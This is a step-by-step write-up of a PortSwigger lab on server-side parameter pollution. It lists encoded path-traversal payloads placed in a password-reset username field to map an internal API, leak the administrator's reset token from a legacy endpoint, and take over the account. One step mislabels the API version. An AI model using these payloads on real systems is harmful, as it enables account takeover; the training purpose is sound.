Exploiting server-side parameter pollution in a REST URL

PortSwigger

Lab Description

To solve the lab, log in as the administrator and delete carlos.

---

---

Step 1: Trigger Password Reset

1. In Burp’s browser, trigger a password reset for administrator
2. In Burp Proxy, find the POST /forgot-password request
3. Send it to Repeater

---

Step 2: Test Path Traversal

Test with # (truncation):

username=administrator%23

• Invalid route error.

Test with ? (query string):

username=administrator%3F

• Invalid route error.

Test with ./administrator:

username=./administrator

• Original response.

Test with ../administrator:

username=../administrator

• Invalid route error.

Input is placed in the URL path.

---

Step 3: Navigate to API Definition

Test traversal:

username=../../../../%23

• Not found response.

Add API definition filename:

username=../../../../openapi.json%23

Error message reveals:

/api/internal/v1/users/{username}/field/{field}

• The endpoint structure is exposed.

---

Step 4: Find Valid Fields

Test with field=foo:

username=administrator/field/foo%23

• Invalid field error.

Test with field=email:

username=administrator/field/email%23

• Original response.
• email is a valid field.

---

Step 5: Access Password Reset Token

Try passwordResetToken (v1):

username=administrator/field/passwordResetToken%23

• Not supported by this version error.

Change to v1 endpoint:

username=../../v1/users/administrator/field/passwordResetToken%23

• Returns a password reset token!

---

Step 6: Reset Administrator Password

1. Use the token:

/forgot-password?passwordResetToken=LEAKED_TOKEN

Full_URL

https://LAB-ID.web-security-academy.net/forgot-password?passwordResetToken=LEAKED_TOKEN

2. Set a new password

---

Step 7: Log In and Delete Carlos

1. Log in as administrator with the new password

1. Go to the Admin panel
2. Delete carlos

---

Step 8: Lab Solved

---

---